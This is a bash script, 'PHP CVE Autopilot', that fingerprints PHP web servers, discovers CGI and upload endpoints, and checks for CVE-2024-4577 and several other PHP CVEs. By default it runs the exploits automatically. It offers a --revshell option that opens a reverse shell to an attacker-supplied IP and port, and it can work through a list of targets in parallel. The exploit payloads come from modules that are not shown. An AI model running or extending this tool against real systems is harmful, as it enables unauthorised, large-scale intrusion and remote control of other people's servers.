#!/usr/bin/env bash # PHP CVE Autopilot – modular, per‑CVE exploitation prompts set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" MODULES_DIR="$SCRIPT_DIR/modules" REPORT_DIR="$SCRIPT_DIR/reports" TIMESTAMP=$(date +"%Y%m%d_%H%M%S") REPORT_FILE="$REPORT_DIR/php_cve_scan_${TIMESTAMP}.txt" # Defaults VERBOSE=0 NO_COLOR=0 TIMEOUT=10 REVERSE_IP="" REVERSE_PORT="" TARGET_URL="" LIST_FILE="" SCAN_ONLY=0 OUTPUT_FILE="" THREADS=5 # Load utils source "$MODULES_DIR/utils.sh" # Load modules source "$MODULES_DIR/cve_2024_4577.sh" source "$MODULES_DIR/cve_2025_14177.sh" source "$MODULES_DIR/cve_2025_14180.sh" source "$MODULES_DIR/cve_2025_14178.sh" # ---------------------------------------------------------------------- # Detection phase – collects vulnerable endpoints # ---------------------------------------------------------------------- declare -A VULN_DETECTED declare -A VULN_DATA detect_all() { local base_url="$1" VULN_DETECTED=() VULN_DATA=() log_info "Detecting CVEs on $base_url" # Fingerprinting local os php_ver os=$(detect_os "$base_url") php_ver=$(detect_php_version "$base_url") log_info "OS: $os" log_info "PHP version: $php_ver" # CVE-2024-4577 (Windows CGI) if [[ "$os" == "windows" ]]; then local cgi_list cgi_list=$(find_cgi_endpoints "$base_url") while read -r cgi; do if [[ -n "$cgi" ]]; then local vuln_url if vuln_url=$(detect_cve_2024_4577 "$cgi" "$os"); then log_success "CVE-2024-4577 detected at $vuln_url" VULN_DETECTED["CVE-2024-4577"]=1 VULN_DATA["CVE-2024-4577"]="$vuln_url" break fi fi done <<< "$cgi_list" fi # CVE-2025-14177 (heap leak) local upload_list upload_list=$(find_upload_endpoints "$base_url") while read -r up; do if [[ -n "$up" ]]; then if detect_cve_2025_14177 "$up"; then log_success "CVE-2025-14177 detected at $up" VULN_DETECTED["CVE-2025-14177"]=1 VULN_DATA["CVE-2025-14177"]="$up" break fi fi done <<< "$upload_list" # Local tests (if we have PHP CLI and/or RCE later) if command -v php &>/dev/null; then if [[ $(detect_cve_2025_14180) == "VULN" ]]; then log_success "CVE-2025-14180 detected locally" VULN_DETECTED["CVE-2025-14180"]=1 fi if [[ $(detect_cve_2025_14178) == "VULN" ]]; then log_success "CVE-2025-14178 detected locally" VULN_DETECTED["CVE-2025-14178"]=1 fi fi } # ---------------------------------------------------------------------- # Exploitation per CVE (autopilot) # ---------------------------------------------------------------------- exploit_per_cve() { local base_url="$1" for cve in "${!VULN_DETECTED[@]}"; do echo log_warn "Exploiting $cve automatically" case "$cve" in "CVE-2024-4577") local url="${VULN_DATA[$cve]}" exploit_cve_2024_4577 "$url" "$REVERSE_IP" "$REVERSE_PORT" ;; "CVE-2025-14177") local upload_url="${VULN_DATA[$cve]}" exploit_cve_2025_14177 "$upload_url" "$REPORT_DIR/heap_leaks_$TIMESTAMP" ;; "CVE-2025-14180") # If we have a CGI endpoint, use it; else local local target="${VULN_DATA["CVE-2024-4577"]:-}" if [[ -z "$target" ]]; then target="$base_url" fi exploit_cve_2025_14180 "$target" ;; "CVE-2025-14178") local target="${VULN_DATA["CVE-2024-4577"]:-}" if [[ -z "$target" ]]; then target="$base_url" fi exploit_cve_2025_14178 "$target" ;; esac done } # ---------------------------------------------------------------------- # Helper discovery functions (copy from previous script) # ---------------------------------------------------------------------- detect_os() { local url="$1" local headers headers=$(curl -s -I --max-time "$TIMEOUT" -A "${USER_AGENT:-Mozilla/5.0}" "$url" 2>/dev/null) if echo "$headers" | grep -qi "windows\|win32\|iis"; then echo "windows" elif echo "$headers" | grep -qi "linux\|ubuntu\|debian\|centos"; then echo "linux" else echo "unknown" fi } detect_php_version() { local url="$1" local headers headers=$(curl -s -I --max-time "$TIMEOUT" -A "${USER_AGENT:-Mozilla/5.0}" "$url" 2>/dev/null) local php_ver php_ver=$(echo "$headers" | grep -i "x-powered-by" | grep -oP 'PHP/[\d.]+' | head -1) if [[ -z "$php_ver" ]]; then # Try probing with a PHP file local probe_url="${url}phpinfo.php" local resp resp=$(http_get "$probe_url") php_ver=$(echo "$resp" | grep -oP 'PHP Version [\d.]+' | head -1) fi echo "${php_ver:-unknown}" } find_cgi_endpoints() { local base="$1" local paths=( "/cgi-bin/php" "/cgi-bin/php5" "/cgi-bin/php7" "/cgi-bin/php-cgi" "/php-cgi/php-cgi.exe" "/php-cgi/php.exe" "/cgi-bin/php.exe" "/cgi/php" "/cgi/php-cgi" "/cgi-bin/php.inc" ) for p in "${paths[@]}"; do echo "${base}${p}" done # Add crawled CGI-like links local crawled crawled=$(crawl_links "$base") echo "$crawled" | grep -i cgi } find_upload_endpoints() { local base="$1" local paths=("/upload" "/uploads" "/upload.php" "/fileupload" "/imageupload" "/api/upload" "/admin/upload") for p in "${paths[@]}"; do echo "${base}${p}" done # Add crawled upload forms local crawled crawled=$(crawl_links "$base") echo "$crawled" | grep -i upload } crawl_links() { local url="$1" local html html=$(http_get "$url") # Extract href and action attributes echo "$html" | grep -oP '(?<=href=")[^"]*' | grep '^/' | sed "s|^|$url|" | sed 's|//|/|g' echo "$html" | grep -oP '(?<=action=")[^"]*' | grep '^/' | sed "s|^|$url|" | sed 's|//|/|g' } main() { while [[ $# -gt 0 ]]; do case "$1" in -u|--url) TARGET_URL="$2"; shift 2 ;; -l|--list) LIST_FILE="$2"; shift 2 ;; --scan-only) SCAN_ONLY=1; shift ;; -o|--output) OUTPUT_FILE="$2"; shift 2 ;; --threads) THREADS="$2"; shift 2 ;; --timeout) TIMEOUT="$2"; shift 2 ;; --revshell) REVERSE_IP="$2"; REVERSE_PORT="$3"; shift 3 ;; --verbose) VERBOSE=1; shift ;; --debug) VERBOSE=2; shift ;; --no-color) NO_COLOR=1; shift ;; -h|--help) show_help; exit 0 ;; *) echo "Unknown option: $1"; show_help; exit 1 ;; esac done if [[ -n "$LIST_FILE" ]]; then if command -v parallel &>/dev/null; then log_info "Using parallel for batch scanning with $THREADS threads" parallel -j "$THREADS" --no-notice "$0 -u {} --timeout $TIMEOUT $( [[ $SCAN_ONLY -eq 1 ]] && echo '--scan-only' ) $( [[ -n "$OUTPUT_FILE" ]] && echo "-o $OUTPUT_FILE" ) $( [[ -n "$REVERSE_IP" ]] && echo "--revshell $REVERSE_IP $REVERSE_PORT" ) $( [[ $VERBOSE -ge 1 ]] && echo '--verbose' ) $( [[ $VERBOSE -ge 2 ]] && echo '--debug' ) $( [[ $NO_COLOR -eq 1 ]] && echo '--no-color' )" :::: "$LIST_FILE" else log_warn "GNU parallel not found, processing sequentially" while IFS= read -r url; do [[ -z "$url" ]] && continue log_info "Processing $url" process_single_url "$url" done < "$LIST_FILE" fi elif [[ -n "$TARGET_URL" ]]; then process_single_url "$TARGET_URL" else show_help exit 1 fi } process_single_url() { local url="$1" mkdir -p "$REPORT_DIR" local base_url base_url=$(normalize_url "$url") echo "Starting PHP CVE Autopilot against $base_url" | tee -a "${OUTPUT_FILE:-/dev/null}" detect_all "$base_url" | tee -a "${OUTPUT_FILE:-/dev/null}" if [[ ${#VULN_DETECTED[@]} -eq 0 ]]; then log_warn "No vulnerabilities found." | tee -a "${OUTPUT_FILE:-/dev/null}" else if [[ $SCAN_ONLY -eq 0 ]]; then exploit_per_cve "$base_url" | tee -a "${OUTPUT_FILE:-/dev/null}" else log_info "Scan-only mode: skipping exploitation" fi fi log_ok "Full report saved to ${OUTPUT_FILE:-$REPORT_FILE}" } show_help() { cat << EOF PHP CVE Autopilot – Automated PHP vulnerability scanner and exploiter USAGE: $0 -u [OPTIONS] $0 -l [OPTIONS] OPTIONS: -u, --url URL Single target URL (e.g., http://example.com/) -l, --list FILE File with URLs, one per line --scan-only Detect only, do not exploit -o, --output FILE Write report to FILE --threads N Parallel threads for batch (default: 5) --timeout N HTTP timeout in seconds (default: 10) --revshell IP PORT Attempt reverse shell for CVE-2024-4577 --verbose Show detailed progress --debug Show HTTP requests (noisy) --no-color Disable colored output -h, --help Show this help EXAMPLES: $0 -u http://target.com/ $0 -u http://target.com/ --revshell 192.168.1.100 4444 $0 -l targets.txt --threads 10 --scan-only EOF } main "$@"